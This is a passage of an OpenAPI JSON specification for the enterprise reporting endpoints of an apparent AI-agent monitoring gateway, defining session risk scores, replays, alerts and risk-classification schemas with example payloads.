`gateway-enterprise`. Auth: `bearer-disabled-when-empty-token`. Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#enterprise-endpoints`.", "parameters": [ { "name": "session_id", "in": "query", "required": false, "schema": { "type": "string" } }, { "name": "min_risk", "in": "query", "required": false, "schema": { "type": "string", "enum": [ "low", "medium", "high", "critical" ] } }, { "name": "types", "in": "query", "required": false, "schema": { "type": "string" } }, { "name": "token", "in": "query", "required": false, "schema": { "type": "string" } } ], "responses": { "200": { "description": "Successful text/event-stream response. See api-coverage.json for the curated text example.", "x-clawsentry-text-example": "event: decision\ndata: {\"session_id\":\"sess-001\",\"risk_level\":\"high\",\"trinityguard_classification\":{\"tier\":\"RT1\",\"subtype\":\"tool_misuse\"},\"live_risk_overview\":{\"by_trinityguard_tier\":{\"RT1\":1}}}\n\n" }, "401": { "description": "Error 401" }, "429": { "description": "Error 429" }, "500": { "description": "Error 500" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3838", "x-clawsentry-markdown-ref": "api/reporting.md#enterprise-endpoints", "x-clawsentry-auth-note": "Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/enterprise/report/sessions": { "get": { "tags": [ "Enterprise 条件端点" ], "summary": "Enterprise session list", "description": "Service: `gateway-enterprise`. Auth: `bearer-disabled-when-empty-token`. Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#enterprise-endpoints`.", "parameters": [ { "name": "status", "in": "query", "required": false, "schema": { "type": "string", "enum": [ "active", "all" ], "default": "active" } }, { "name": "sort", "in": "query", "required": false, "schema": { "type": "string", "enum": [ "risk_level", "last_event" ], "default": "risk_level" } }, { "name": "limit", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 5000, "default": 50 } }, { "name": "min_risk", "in": "query", "required": false, "schema": { "type": "string", "enum": [ "low", "medium", "high", "critical" ] } }, { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "sessions": [ { "session_id": "session-001", "source_framework": "codex", "workspace_root": "/workspace/repo-alpha", "current_risk_level": "high", "session_risk_ewma": 1.9, "trinityguard_classification": { "mapped": true, "tier": "RT1", "tier_label": "Atomic Risks", "subtype": "sensitive_info_disclosure", "label": "Sensitive Info Disclosure", "confidence": "high" } } ], "total_active": 1, "enterprise": { "live_risk_overview": { "active_sessions": 1, "mapped_active_sessions": 1, "by_trinityguard_tier": { "RT1": 1 }, "by_trinityguard_subtype": { "sensitive_info_disclosure": 1 } } }, "generated_at": "2026-04-25T12:00:05Z", "window_seconds": null }, "schema": { "type": "object", "properties": { "sessions": { "type": "array", "items": { "type": "object", "properties": { "session_id": { "type": "string" }, "agent_id": { "type": "string" }, "source_framework": { "type": "string" }, "caller_adapter": { "type": "string" }, "workspace_root": { "type": "string" }, "transcript_path": { "type": "string" }, "current_risk_level": { "type": "string", "enum": [ "low", "medium", "high", "critical" ] }, "cumulative_score": { "type": "number" }, "latest_composite_score": { "type": "number", "minimum": 0.0, "maximum": 3.0 }, "session_risk_sum": { "type": "number", "minimum": 0.0 }, "session_risk_ewma": { "type": "number", "minimum": 0.0, "maximum": 3.0, "description": "Windowed session risk EWMA display score, alpha=0.3 (ewma_0 = score_0; ewma_n = 0.3 * score_n + 0.7 * ewma_(n-1)). Range is 0.0..3.0. A 0.0 value when no window events exist uses the no_data_not_confirmed_low_risk sentinel and must not be read as confirmed low risk. This is an observability/UI field and is non-decision-affecting." }, "risk_points_sum": { "type": "integer", "minimum": 0 }, "risk_velocity": { "type": "string" }, "window_risk_summary": { "type": "object", "properties": { "window_seconds": { "type": [ "integer", "null" ], "minimum": 1 }, "generated_at": { "type": "string" }, "event_count": { "type": "integer", "minimum": 0 }, "high_or_critical_count": { "type": "integer", "minimum": 0, "description": "Canonical high/critical event count. Do not expose legacy high_risk_event_count here." }, "latest_composite_score": { "type": "number", "minimum": 0.0, "maximum": 3.0 }, "session_risk_sum": { "type": "number", "minimum": 0.0 }, "session_risk_ewma": { "type": "number", "minimum": 0.0, "maximum": 3.0, "description": "Windowed session risk EWMA display score, alpha=0.3 (ewma_0 = score_0; ewma_n = 0.3 * score_n + 0.7 * ewma_(n-1)). Range is 0.0..3.0. A 0.0 value when no window events exist uses the no_data_not_confirmed_low_risk sentinel and must not be read as confirmed low risk. This is an observability/UI field and is non-decision-affecting." }, "risk_points_sum": { "type": "integer", "minimum": 0 }, "risk_velocity": { "type": "string" }, "score_range": { "type": "array", "items": { "type": "number" }, "minItems": 2, "maxItems": 2, "description": "Inclusive score range for session risk display values: [0.0, 3.0]." }, "score_semantics": { "type": "object", "properties": { "zero_with_no_events": { "type": "string", "enum": [ "no_data_not_confirmed_low_risk" ], "description": "0.0 with no events is a no-data sentinel, not confirmed low risk." }, "decision_affecting": { "type": "boolean", "const": false, "description": "Session risk display metrics do not alter canonical Gateway decisions." } }, "additionalProperties": true }, "decision_affecting": { "type": "boolean", "const": false } }, "additionalProperties": true }, "score_range": { "type": "array", "items": { "type": "number" }, "minItems": 2, "maxItems": 2, "description": "Inclusive score range for session risk display values: [0.0, 3.0]." }, "score_semantics": { "type": "object", "properties": { "zero_with_no_events": { "type": "string", "enum": [ "no_data_not_confirmed_low_risk" ], "description": "0.0 with no events is a no-data sentinel, not confirmed low risk." }, "decision_affecting": { "type": "boolean", "const": false, "description": "Session risk display metrics do not alter canonical Gateway decisions." } }, "additionalProperties": true }, "event_count": { "type": "integer", "minimum": 0 }, "high_or_critical_count": { "type": "integer", "minimum": 0 }, "decision_distribution": { "type": "object", "additionalProperties": { "type": "integer", "minimum": 0 } } }, "additionalProperties": true } }, "total_active": { "type": "integer", "minimum": 0 }, "generated_at": { "type": "string" }, "window_seconds": { "type": [ "integer", "null" ], "minimum": 1 } }, "additionalProperties": true } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:3939", "x-clawsentry-markdown-ref": "api/reporting.md#enterprise-endpoints", "x-clawsentry-auth-note": "Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/enterprise/report/session/{session_id}/risk": { "get": { "tags": [ "Enterprise 条件端点" ], "summary": "Enterprise session risk", "description": "Service: `gateway-enterprise`. Auth: `bearer-disabled-when-empty-token`. Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#enterprise-endpoints`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } }, { "name": "limit", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 1000, "default": 100 } }, { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "session_id": "sess-001", "current_risk_level": "high", "session_risk_ewma": 1.9, "actual_tier_distribution": { "L1": 23, "L2": 2, "L3": 1 }, "risk_timeline": [ { "event_id": "evt-001", "risk_level": "high", "decision": "block", "trinityguard_classification": { "mapped": true, "tier": "RT1", "tier_label": "Atomic Risks", "subtype": "sensitive_info_disclosure", "label": "Sensitive Info Disclosure" } } ], "trinityguard_summary": { "mapped_records": 1, "unmapped_records": 0, "by_tier": { "RT1": 1 }, "by_subtype": { "sensitive_info_disclosure": 1 } }, "generated_at": "2026-04-25T12:00:05Z", "window_seconds": 3600 }, "schema": { "type": "object", "properties": { "session_id": { "type": "string" }, "agent_id": { "type": "string" }, "source_framework": { "type": "string" }, "caller_adapter": { "type": "string" }, "workspace_root": { "type": "string" }, "transcript_path": { "type": "string" }, "current_risk_level": { "type": "string", "enum": [ "low", "medium", "high", "critical" ] }, "cumulative_score": { "type": "number" }, "latest_composite_score": { "type": "number", "minimum": 0.0, "maximum": 3.0 }, "session_risk_sum": { "type": "number", "minimum": 0.0 }, "session_risk_ewma": { "type": "number", "minimum": 0.0, "maximum": 3.0, "description": "Windowed session risk EWMA display score, alpha=0.3 (ewma_0 = score_0; ewma_n = 0.3 * score_n + 0.7 * ewma_(n-1)). Range is 0.0..3.0. A 0.0 value when no window events exist uses the no_data_not_confirmed_low_risk sentinel and must not be read as confirmed low risk. This is an observability/UI field and is non-decision-affecting." }, "risk_points_sum": { "type": "integer", "minimum": 0 }, "risk_velocity": { "type": "string" }, "window_risk_summary": { "type": "object", "properties": { "window_seconds": { "type": [ "integer", "null" ], "minimum": 1 }, "generated_at": { "type": "string" }, "event_count": { "type": "integer", "minimum": 0 }, "high_or_critical_count": { "type": "integer", "minimum": 0, "description": "Canonical high/critical event count. Do not expose legacy high_risk_event_count here." }, "latest_composite_score": { "type": "number", "minimum": 0.0, "maximum": 3.0 }, "session_risk_sum": { "type": "number", "minimum": 0.0 }, "session_risk_ewma": { "type": "number", "minimum": 0.0, "maximum": 3.0, "description": "Windowed session risk EWMA display score, alpha=0.3 (ewma_0 = score_0; ewma_n = 0.3 * score_n + 0.7 * ewma_(n-1)). Range is 0.0..3.0. A 0.0 value when no window events exist uses the no_data_not_confirmed_low_risk sentinel and must not be read as confirmed low risk. This is an observability/UI field and is non-decision-affecting." }, "risk_points_sum": { "type": "integer", "minimum": 0 }, "risk_velocity": { "type": "string" }, "score_range": { "type": "array", "items": { "type": "number" }, "minItems": 2, "maxItems": 2, "description": "Inclusive score range for session risk display values: [0.0, 3.0]." }, "score_semantics": { "type": "object", "properties": { "zero_with_no_events": { "type": "string", "enum": [ "no_data_not_confirmed_low_risk" ], "description": "0.0 with no events is a no-data sentinel, not confirmed low risk." }, "decision_affecting": { "type": "boolean", "const": false, "description": "Session risk display metrics do not alter canonical Gateway decisions." } }, "additionalProperties": true }, "decision_affecting": { "type": "boolean", "const": false } }, "additionalProperties": true }, "score_range": { "type": "array", "items": { "type": "number" }, "minItems": 2, "maxItems": 2, "description": "Inclusive score range for session risk display values: [0.0, 3.0]." }, "score_semantics": { "type": "object", "properties": { "zero_with_no_events": { "type": "string", "enum": [ "no_data_not_confirmed_low_risk" ], "description": "0.0 with no events is a no-data sentinel, not confirmed low risk." }, "decision_affecting": { "type": "boolean", "const": false, "description": "Session risk display metrics do not alter canonical Gateway decisions." } }, "additionalProperties": true }, "event_count": { "type": "integer", "minimum": 0 }, "high_or_critical_count": { "type": "integer", "minimum": 0 }, "decision_distribution": { "type": "object", "additionalProperties": { "type": "integer", "minimum": 0 } } }, "additionalProperties": true } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4420", "x-clawsentry-markdown-ref": "api/reporting.md#enterprise-endpoints", "x-clawsentry-auth-note": "Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/enterprise/report/session/{session_id}": { "get": { "tags": [ "Enterprise 条件端点" ], "summary": "Enterprise session replay", "description": "Service: `gateway-enterprise`. Auth: `bearer-disabled-when-empty-token`. Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#enterprise-endpoints`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } }, { "name": "limit", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 1000, "default": 100 } }, { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "session_id": "sess-001", "record_count": 1, "records": [ { "event": { "event_id": "evt-001", "event_type": "pre_action", "tool_name": "bash" }, "decision": { "decision": "block", "risk_level": "high" }, "trinityguard_classification": { "mapped": true, "tier": "RT1", "subtype": "unauthorized_code_execution", "label": "Unauthorized Code Execution" } } ], "trinityguard_summary": { "mapped_records": 1, "unmapped_records": 0, "by_tier": { "RT1": 1 }, "by_subtype": { "unauthorized_code_execution": 1 } } } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4469", "x-clawsentry-markdown-ref": "api/reporting.md#enterprise-endpoints", "x-clawsentry-auth-note": "Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/enterprise/report/session/{session_id}/page": { "get": { "tags": [ "Enterprise 条件端点" ], "summary": "Enterprise paged session replay", "description": "Service: `gateway-enterprise`. Auth: `bearer-disabled-when-empty-token`. Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#enterprise-endpoints`.", "parameters": [ { "name": "session_id", "in": "path", "required": true, "schema": { "type": "string" } }, { "name": "limit", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 1000, "default": 100 } }, { "name": "cursor", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 0 } }, { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "session_id": "sess-001", "records": [ { "event": { "event_id": "evt-001", "event_type": "pre_action", "tool_name": "bash" }, "trinityguard_classification": { "mapped": true, "tier": "RT1", "subtype": "tool_misuse", "label": "Tool Misuse" } } ], "trinityguard_summary": { "mapped_records": 1, "unmapped_records": 0, "by_tier": { "RT1": 1 }, "by_subtype": { "tool_misuse": 1 } }, "next_cursor": null, "has_more": false } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4525", "x-clawsentry-markdown-ref": "api/reporting.md#enterprise-endpoints", "x-clawsentry-auth-note": "Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } }, "/enterprise/report/alerts": { "get": { "tags": [ "Enterprise 条件端点" ], "summary": "Enterprise alerts", "description": "Service: `gateway-enterprise`. Auth: `bearer-disabled-when-empty-token`. Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth. See `api/reporting.md#enterprise-endpoints`.", "parameters": [ { "name": "window_seconds", "in": "query", "required": false, "schema": { "type": "integer", "minimum": 1, "maximum": 604800 } } ], "responses": { "200": { "description": "Successful response", "content": { "application/json": { "example": { "alerts": [ { "alert_id": "alert-001", "severity": "high", "status": "open", "session_id": "sess-001", "trinityguard_classification": { "mapped": true, "tier": "RT1", "subtype": "tool_misuse", "label": "Tool Misuse" } } ], "enterprise": { "live_risk_overview": { "by_trinityguard_tier": { "RT1": 1 }, "by_trinityguard_subtype": { "tool_misuse": 1 } } } } } } }, "400": { "description": "Error 400" }, "401": { "description": "Error 401" }, "404": { "description": "Error 404" }, "429": { "description": "Error 429" } }, "x-clawsentry-source": "src/clawsentry/gateway/server.py:4598", "x-clawsentry-markdown-ref": "api/reporting.md#enterprise-endpoints", "x-clawsentry-auth-note": "Registered only when enterprise mode is enabled; CS_AUTH_TOKEN empty disables Gateway bearer auth.", "security": [ { "BearerAuth": [] } ] } } }, "x-clawsentry-docs": { "coverage": "api-coverage.json", "source": "scripts/docs_api_inventory.py" } }